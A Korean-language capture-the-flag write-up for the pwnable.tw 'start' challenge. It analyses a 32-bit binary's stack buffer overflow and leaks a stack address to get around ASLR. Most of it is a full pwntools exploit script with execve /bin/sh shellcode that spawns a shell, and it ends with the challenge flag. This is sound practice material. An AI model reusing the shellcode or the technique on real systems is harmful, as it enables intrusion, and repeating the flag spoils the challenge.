문제


start 바이너리의 checksec 결과는 다음과 같다. (peda 안에 구현된 checksec을 사용하면 NX가 걸려 있는 것으로 나옴…뭐지?)

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE

file 명령어의 결과는 다음과 같다.

start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

statically linked이고 syscall 밖에 사용하지 않으므로 사용할 수 있는 라이브러리 함수가 없다.

어셈블리 코드 _start()

public _start
_start proc near
push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    ':FTC'
push    ' eht'
push    ' tra'
push    'ts s'
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX - sys_read
add     esp, 14h
retn

sys_read 함수에서 bof가 발생한다. (NX가 disabled되어 있기 때문에 stack에 실행 권한이 있다.)

또한 _start의 가장 처음에 실행되는 push esp를 통해서 stack에 (ret 위치 +4) ret 위치 + 8을 가리키는 주소가 저장된다. 이 값을 leak하면 ASLR을 우회할 수 있다.

exploit 방법

  1. bof를 통해서 ret를 mov ecx, esp의 위치로 바꾸면 sys_write를 통해서 ret 위치 +8 값을 읽어올 수 있다.
  2. sys_write 다음에 호출되는 sys_read를 통해서 shellcode를 삽입하고 eip를 control한다.

풀이


#!/usr/bin/python

from pwn import *

#context.log_level = 'debug'

shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
write_read=0x08048087

#p=process("/home/sungyun/round3/start/start")
p=remote("chall.pwnable.tw", 10000)

p.recvuntil("CTF:")

pay="A"*20
pay+=p32(write_read)

p.send(pay)

stack=u32(p.recv(4))
p.recv(16)

pay2="A"*20
pay2+=p32(stack+20)
pay2+="\x90"*10
pay2+=shell

p.send(pay2)

p.interactive()

flag : FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

(/home/start/에 존재)